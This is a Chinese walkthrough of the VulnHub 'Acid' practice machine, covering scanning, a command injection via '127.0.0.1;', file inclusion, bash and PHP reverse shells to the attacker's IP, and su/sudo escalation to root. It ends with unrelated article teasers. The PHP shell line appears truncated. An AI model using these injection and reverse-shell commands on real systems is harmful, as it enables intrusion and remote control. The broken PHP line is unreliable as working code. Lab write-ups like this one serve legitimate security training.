VulnHub-Acid(1/100)
参考链接:
【VulnHub】Acid靶场复盘-CSDN博客
靶场渗透(二)——Acid渗透_ambassador 靶场渗透-CSDN博客
网络安全从0到0.5之Acid靶机实战渗透测试 | CN-SEC 中文网
Vulnhub靶场渗透练习(四) Acid - 紅人 - 博客园
红日团队笔记
信息收集
主机:kali,靶机:Acid
下载地址:https://download.vulnhub.com/acid/Acid.rar
扫描网段:arp-scan -l
扫描端口:
nmap -A -p- -sV 192.168.91.146(扫描全部端口)
开放端口33447,底层服务:Apache2.4.10,操作系统:Ubuntu
192.168.91.146:33447访问
dirb爆破目录,其实是没有有效结果的
查看页面源代码
转码两次后获得wow.jpg
访问路径,获取图片
在editor中发现一串数字,放入十六进制转换为ascii码
7aee0f6d588ed9905ee37f16a7c610d4,32位大概率为md5
解密为63425
最后发现没啥用
爆破目录
使用dirbuster爆破目录,用small字典,爆破提示的Challenge
目录下存在index.php,error.php,cake.php,include.php,hacked.php
或者直接使用dirb调用字典
使用-x参数,爆破.php文件,用big字典
dirb http://192.168.91.146:33447/Challenge /usr/share/wordlists/dirb/big.txt -X .php
渗透测试
访问cake.php,标题提示含有Magic_Box目录,爆破目录
http://192.168.91.146:33447/Challenge/cake.php/Magic_Box
这里需要多尝试 一下,/Challenge/Magic_Box,从这个位置开始访问。
命令执行
这个ip地址可以爆破出一个页面,进行命令执行
127.0.0.1;cat /etc/passwd,存在命令执行漏洞
进行命令执行测试,寻找默认密码
访问include.php,存在文件包含漏洞
转包,进行URL编码,/变为%2F,实现文件包含
关注地址为:/bin/bash
漏洞利用
使用通过URL编码的命令进行bash反弹,这里ip为攻击机(kali)的地址
bash反弹,单引号和双引号好像都行
bash -c:运行后面的字符串作为 Bash 命令。 'bash -i >& /dev/tcp/192.168.91.138/6666 0>&1':这是要执行的 Bash 命令。它包含以下几个部分: bash -i:启动一个交互式的 Bash shell。 -i 选项表示交互式。 >& /dev/tcp/192.168.91.138/6666:将标准输出和标准错误重定向到指定的 IP 地址和端口。 /dev/tcp 是一个特殊的设备文件,Bash 可以将其视为网络套接字。 0>&1:将标准输入重定向到标准输出。这样,我们就可以在远程主机上执行命令并获取输出。 此命令的目的是将被攻击主机上的 Bash shell 与指定 IP 地址和端口上的远程主机建立连接,使攻击者能够通过该连接远程控制被攻击主机并执行命令。
bash -c 'bash -i >& /dev/tcp/192.168.217.130/6666 0>&1'
127.0.0.1; bash -i >& /dev/tcp/192.168.217.130/6666 0>&1
bash -i >& /dev/tcp/192.168.217.130/6666 0>&1
php反弹:
php -r '$sock=fsockopen("192.168.91.138",6666);exec("/bin/bash -i &3 2>&3");'
直接在burpsuite里进行调整,点击encode,到URL
127.0.0.1|%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%39%31%2e%31%33%38%2f%36%36%36%36%20%30%3e%26%31%27
192.168.217.130
监听
nc -lvp 6666
成功上线
权限提升
进行提权
这里是su执行,必须需要一个终端
python导入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
cat /etc/passwd
查看用户名,
acif、saman、root为:/bin/bash
在
/tmp存放临时文件
/tmp$ ls /home 出现用户
这里应该是直接到home目录查看
前面已经获取了密码
查找acid用户创建的文件(不显示错误)
find:一个用于搜索文件和目录的常用命令。 /:表示要搜索的起始路径,这里是根目录。 -user acid:指定只搜索由用户"acid"创建的文件和目录。 2>/dev/null:将标准错误输出重定向到
/dev/null,即丢弃错误信息,避免出现权限错误提示。
find / -user acid 2>/dev/null
出现了一个流量包
方法一:
先进到/home,再cd到/sbin
python -m SimpleHTTPServer 8080
出现文件,下载分析
tcp.stream只看tcp协议的包
发现用户密码1337hax0r
进行提权
当前用户有 sudo 权限,想切换到 root
先切换到saman
www-data@acid:/var/www/html/Challenge/Magic_Box$ su samansu samanPassword: 1337hax0r
需要的是当前用户的密码
sudo -i
查看当前用户的权限情况
su权限过高,直接提权到root
这里不能直接su root,并不知道root密码
使用
sudo -l
只需要当前用户的密码
得到flag
相关文章:

VulnHub-Acid(1/100)
参考链接: 【VulnHub】Acid靶场复盘-CSDN博客 靶场渗透(二)——Acid渗透_ambassador 靶场渗透-CSDN博客 网络安全从0到0.5之Acid靶机实战渗透测试 | CN-SEC 中文网 Vulnhub靶场渗透练习(四) Acid - 紅人 - 博客园 红日团队…...
MATLAB语言的正则表达式
MATLAB 中的正则表达式使用指南 引言 在数据处理和文本分析中,正则表达式是一种强大而灵活的工具。MATLAB 作为一种广泛应用于科学计算和数据分析的编程语言,提供了对正则表达式的支持,使得用户可以方便地进行字符串匹配与处理。本文将深入…...

通过 route 或 ip route 管理Linux主机路由
目录 一:route 使用说明1、查看路由信息2、删除指定路由3、增加指定路由 二:ip route 使用说明1、查看主机路由2、新增主机路由3、删除主机路由 通过route 或者ip route修改Linux主机路由后属于临时生效,系统重启后就恢复默认值了,…...

MYSQL--------SQL 注入简介MySQL SQL Mode 简介
SQL 注入简介 定义:SQL 注入是一种常见的安全漏洞,攻击者通过在输入中插入恶意的 SQL 语句,利用应用程序中未正确处理的输入数据,来改变 SQL 查询的逻辑,从而执行非预期的操作,如绕过身份验证、获取未授权…...

第6章——HTTP首部
第六章——HTTP首部 HTTP报文结构 都必有报文首部 HTTP请求报文 HTTP响应报文 HTTP首部字段 ###传递重要信息 首部字段结构 首部字段名:字段值(,字段值,字段值) 首部字段类型 通用首部字段 请求首部字…...

多行输入模式(dquote> 提示符)double quote(双引号)
文章目录 1、引号不匹配具体原因解决办法如何避免此问题 2、double quote(双引号)出现原因解决办法预防措施 ~/Downloads/productqualification-develop git:[main] git commit -m "漏添加到暂存区的代码“ dgqdgqdeMac-mini productqualification-…...
【什么是MVCC?】
MVCC(Multi - Version Concurrency Control)即多版本并发控制。 一、背景和概念 在数据库系统中,并发控制是非常重要的。当多个事务同时访问和修改数据时,需要一种机制来确保数据的一致性和正确性。MVCC 是一种并发控制的技术&a…...
HarmonyOS开发:粒子动画应用实战
目录 引言 粒子动画技术概述 关于粒子动画 粒子发射器的实现 设置粒子颜色 关于粒子的生命周期 粒子扰动场的设置 粒子动画的简单实现 最后 引言 做应用开发的小伙伴想必都清楚动画是必备技能,尤其是在移动应用开发中的动画使用频率是非常高的。而粒子动画…...

数据库课设——网上花店销售管理系统(上)
声明:此次课设为本人专业课课设报告内容,仅供参考,不要照搬 1 问题的提出 随着互联网发展与电子商务普及,网上花店兴起,其突破地域限制、提供便捷购物体验且市场呈快速增长趋势。该系统需具备多方面功能以满足花店运营…...
用于AI的 数据存储其获取介绍
用于 AI 的数据存储和获取方法依赖于系统架构、数据类型(结构化、非结构化、时序数据、嵌入向量等)以及使用场景(训练数据存储、实时推断、历史数据分析等)。以下是主要存储方式的分类和简介: 1. 文件存储 介绍&…...

flutter 专题二十四 Flutter性能优化在携程酒店的实践
Flutter性能优化在携程酒店的实践 一 、前言 携程酒店业务使用Flutter技术开发的时间快接近两年,这期间有列表页、详情页、相册页等页面使用了Flutter技术栈进行了跨平台整合,大大提高了研发效率。在开发过程中,也遇到了一些性能相关问题和…...

L28.【LeetCode笔记】移动零(三种解法)
目录 1.题目 2.向前覆盖法 分析 代码 提交结果 3.优解:双指针 代码 提交结果 4.其他不符合题意的方法:使用队列 代码 提交结果 1.题目 https://leetcode.cn/problems/move-zeroes/description/ 给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾…...

jenkins入门10--自动化构建
build periodically:设定类似cron周期性时间触发构建 * * * * * (五颗星,中间用空格隔开) 第一颗表示分钟,取值0~59 第二颗表示小时,取值0~23 第三颗表示一个月的第几天,取值1~31 第四颗表示第几月…...

el-table拖拽表格
1、拖拽插件安装 npm i -S vuedraggable // vuedraggable依赖Sortable.js,我们可以直接引入Sortable使用Sortable的特性。 // vuedraggable是Sortable的一种加强,实现组件化的思想,可以结合Vue,使用起来更方便。 2、引入拖拽函数…...
如何轻松反转C# List<T>中的元素顺序
在C#中,有多种方法可以反转 List<T> 的元素顺序。以下是几种常见的方法: 方法一:使用 List<T>.Reverse 方法 List<T> 类提供了一个内置的 Reverse 方法,可以就地反转列表中的元素顺序。 using System; using…...
Transformer中Self-Attention以及Multi-Head Attention模块详解(附pytorch实现)
写在前面 最近在项目中需要使用Transformer模型来处理图像任务,所以稍微补充一下这部分的知识,本篇主要了解一下Self-Attention以及Multi-Head Attention模块。 原论文链接:https://arxiv.org/pdf/1706.03762 原文代码:tensor2…...

在Nvidia Jetson ADX Orin中使用TensorRT-LLM运行llama3-8b
目录 背景:步骤 1.获取模型权重第 2 步:准备第 3 步:构建 TensorRT-LLM 引擎 背景: 大型语言模型 (LLM) 推理的关键瓶颈在于 GPU 内存资源短缺。因此,各种加速框架主要强调减少峰值 GPU 内存使…...
六十一:HTTP/2的问题及HTTP/3的意义
随着互联网的快速发展,网络协议的升级成为优化用户体验和提升网络效率的重要手段。HTTP/2 于 2015 年发布,标志着超文本传输协议的重大改进。然而,尽管 HTTP/2 带来了许多新特性,它也存在一定的问题。在此背景下,HTTP/…...

IOS开发如何从入门进阶到高级
针对iOS开发的学习,不同阶段应采取不同的学习方式,以实现高效提升.本文将iOS开发的学习分为入门、实战、进阶三个阶段,下面分别详细介绍. 一、学习社区 iOS开源中国社区 这个社区专注于iOS开发的开源项目分享与协作,汇集了大量开…...

非一般的小数:小数的概念新解、小数分类、浮点数的存储
非一般的小数:小数的概念新解、小数分类、浮点数的存储 一、小数的概念二、小数的分类1.有限小数、无限循环小数、无限不循环小数2.纯小数、带小数3.定点数、浮点数 三、浮点数的存储 一、小数的概念 这还用解释吗?小…...
生成xcframework
打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式,可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...
第25节 Node.js 断言测试
Node.js的assert模块主要用于编写程序的单元测试时使用,通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试,通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...

ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...
Java入门学习详细版(一)
大家好,Java 学习是一个系统学习的过程,核心原则就是“理论 实践 坚持”,并且需循序渐进,不可过于着急,本篇文章推出的这份详细入门学习资料将带大家从零基础开始,逐步掌握 Java 的核心概念和编程技能。 …...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
Java线上CPU飙高问题排查全指南
一、引言 在Java应用的线上运行环境中,CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时,通常会导致应用响应缓慢,甚至服务不可用,严重影响用户体验和业务运行。因此,掌握一套科学有效的CPU飙高问题排查方法&…...
现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?
现有的 Redis 分布式锁库(如 Redisson)相比于开发者自己基于 Redis 命令(如 SETNX, EXPIRE, DEL)手动实现分布式锁,提供了巨大的便利性和健壮性。主要体现在以下几个方面: 原子性保证 (Atomicity)ÿ…...

Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
探索Selenium:自动化测试的神奇钥匙
目录 一、Selenium 是什么1.1 定义与概念1.2 发展历程1.3 功能概述 二、Selenium 工作原理剖析2.1 架构组成2.2 工作流程2.3 通信机制 三、Selenium 的优势3.1 跨浏览器与平台支持3.2 丰富的语言支持3.3 强大的社区支持 四、Selenium 的应用场景4.1 Web 应用自动化测试4.2 数据…...

Web后端基础(基础知识)
BS架构:Browser/Server,浏览器/服务器架构模式。客户端只需要浏览器,应用程序的逻辑和数据都存储在服务端。 优点:维护方便缺点:体验一般 CS架构:Client/Server,客户端/服务器架构模式。需要单独…...